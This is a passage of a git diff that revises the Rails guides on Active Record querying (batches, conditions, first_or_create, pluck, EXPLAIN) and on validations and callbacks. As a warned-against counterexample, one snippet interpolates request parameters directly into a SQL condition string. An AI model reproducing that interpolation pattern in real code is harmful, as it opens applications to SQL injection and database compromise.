<ruby> -User.find_each(:batch_size => 5000, :start => 2000) do |user| +User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end </ruby> -*Additional options* +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. -+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h5. +find_in_batches+ -You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: +The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: <ruby> -# Works in chunks of 1000 invoices at a time. +# Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. + +h6. Options for +find_in_batches+ + +The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. h3. Conditions @@ -266,7 +277,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t h4. Array Conditions -Now what if that number could vary, say as an argument from somewhere? The find then becomes something like: +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: <ruby> Client.where("orders_count = ?", params[:orders]) @@ -274,7 +285,7 @@ Client.where("orders_count = ?", params[:orders]) Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. -Or if you want to specify two conditions, you can do it like: +If you want to specify multiple conditions: <ruby> Client.where("orders_count = ? AND locked = ?", params[:orders], false) @@ -282,19 +293,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false) In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. -The reason for doing code like: +This code is highly preferable: <ruby> Client.where("orders_count = ?", params[:orders]) </ruby> -instead of: +to this code: <ruby> Client.where("orders_count = #{params[:orders]}") </ruby> -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. @@ -425,10 +436,26 @@ ActiveModel::MissingAttributeError: missing attribute: <attribute> Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. -You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +If you would like to only grab a single record per unique value in a certain field, you can use +uniq+: + +<ruby> +Client.select(:name).uniq +</ruby> + +This would generate SQL like: + +<sql> +SELECT DISTINCT name FROM clients +</sql> + +You can also remove the uniqueness constraint: <ruby> -Client.select("DISTINCT(name)") +query = Client.select(:name).uniq +# => Returns unique names + +query.uniq(false) +# => Returns all names, even if there are duplicates </ruby> h3. Limit and Offset @@ -560,6 +587,7 @@ Client.where("orders_count > 10").order(:name).reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC </sql> @@ -571,6 +599,7 @@ Client.where("orders_count > 10").reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC </sql> @@ -614,15 +643,13 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. -<br /> - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: @@ -731,7 +758,7 @@ SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id </sql> -Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). +Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). h5. Joining Multiple Associations @@ -911,14 +938,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -1014,27 +1041,90 @@ You can also use +find_last_by_*+ methods which will find the last record matchi You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. + +h4. +first_or_create+ + +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: + +<ruby> +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) +</ruby> + +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add + +<ruby> +validates :orders_count, :presence => true +</ruby> + +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +</ruby> + +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1056,6 +1146,30 @@ h3. +select_all+ Client.connection.select_all("SELECT * FROM clients WHERE id = '1'") </ruby> +h3. +pluck+ + +<tt>pluck</tt> can be used to query a single column from the underlying table of a model. It accepts a column name as argument and returns an array of values of the specified column with the corresponding data type. + +<ruby> +Client.where(:active => true).pluck(:id) +# SELECT id FROM clients WHERE active = 1 + +Client.uniq.pluck(:role) +# SELECT DISTINCT role FROM clients +</ruby> + ++pluck+ makes it possible to replace code like + +<ruby> +Client.select(:id).map { |c| c.id } +</ruby> + +with + +<ruby> +Client.pluck(:id) +</ruby> + h3. Existence of Objects If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+. @@ -1186,11 +1300,82 @@ Client.sum("orders_count") For options, please see the parent section, "Calculations":#calculations. -h3. Changelog +h3. Running EXPLAIN + +You can run EXPLAIN on the queries triggered by relations. For example, + +<ruby> +User.where(:id => 1).joins(:posts).explain +</ruby> + +may yield + +<plain> +EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | +| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +2 rows in set (0.00 sec) +</plain> + +under MySQL. + +Active Record performs a pretty printing that emulates the one of the database +shells. So, the same query running with the PostgreSQL adapter would yield instead + +<plain> +EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1 + QUERY PLAN +------------------------------------------------------------------------------ + Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) + Join Filter: (posts.user_id = users.id) + -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) + Index Cond: (id = 1) + -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) + Filter: (posts.user_id = 1) +(6 rows) +</plain> + +Eager loading may trigger more than one query under the hood, and some queries +may need the results of previous ones. Because of that, +explain+ actually +executes the query, and then asks for the query plans. For example, + +<ruby> +User.where(:id => 1).includes(:posts).explain +</ruby> + +yields + +<plain> +EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +1 row in set (0.00 sec) + +EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1) +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +1 row in set (0.00 sec) +</plain> + +under MySQL. + +h4. Interpreting EXPLAIN + +Interpretation of the output of EXPLAIN is beyond the scope of this guide. The +following pointers may be helpful: + +* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html + +* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html -* June 26 2011: Added documentation for the +scoped+, +unscoped+ and +default+ methods. "Ryan Bigg":credits.html#radar -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":credits.html#radar -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar +* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index ce0b5416de..a27c292a4c 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -94,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -105,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -139,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -160,7 +160,7 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default, If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -428,6 +428,8 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. @@ -454,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -569,11 +571,50 @@ end All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ -h3. Creating Custom Validation Methods +h3. Performing Custom Validations + +When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. + +h4. Custom Validators + +Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. + +<ruby> +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +</ruby> + +The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. + +<ruby> +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ActiveRecord::Base + validates :email, :presence => true, :email => true +end +</ruby> -When the built-in validation helpers are not enough for your needs, you can write your own validation methods. +As shown in the example, you can also combine standard validations with your own custom validators. -Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +h4. Custom Methods + +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -583,13 +624,15 @@ class Invoice < ActiveRecord::Base :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if - !expiration_date.blank? and expiration_date < Date.today + if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") if - discount > total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end end end </ruby> @@ -620,7 +663,7 @@ The following is a list of the most commonly used methods. Please refer to the + h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base @@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -710,8 +753,6 @@ class Person < ActiveRecord::Base end </ruby> - - h4. +errors.clear+ The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. @@ -746,7 +787,7 @@ end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -755,21 +796,15 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. - -h4. Installing as a plugin -<shell> -$ rails plugin install git://github.com/joelmoss/dynamic_form.git -</shell> +"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates. -h4. Installing as a Gem +You can install it as a gem by adding this line to your Gemfile: -Add this line in your Gemfile: <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates. +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -799,11 +834,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -811,7 +848,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -819,23 +856,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -848,7 +885,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| @@ -862,17 +899,17 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base @@ -889,7 +926,7 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base @@ -901,7 +938,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -941,15 +978,15 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks. <ruby> class User < ActiveRecord::Base - def after_initialize + after_initialize do |user| puts "You have initialized an object!" end - def after_find + after_find do |user| puts "You have found an object!" end end @@ -998,7 +1035,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1017,13 +1054,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends 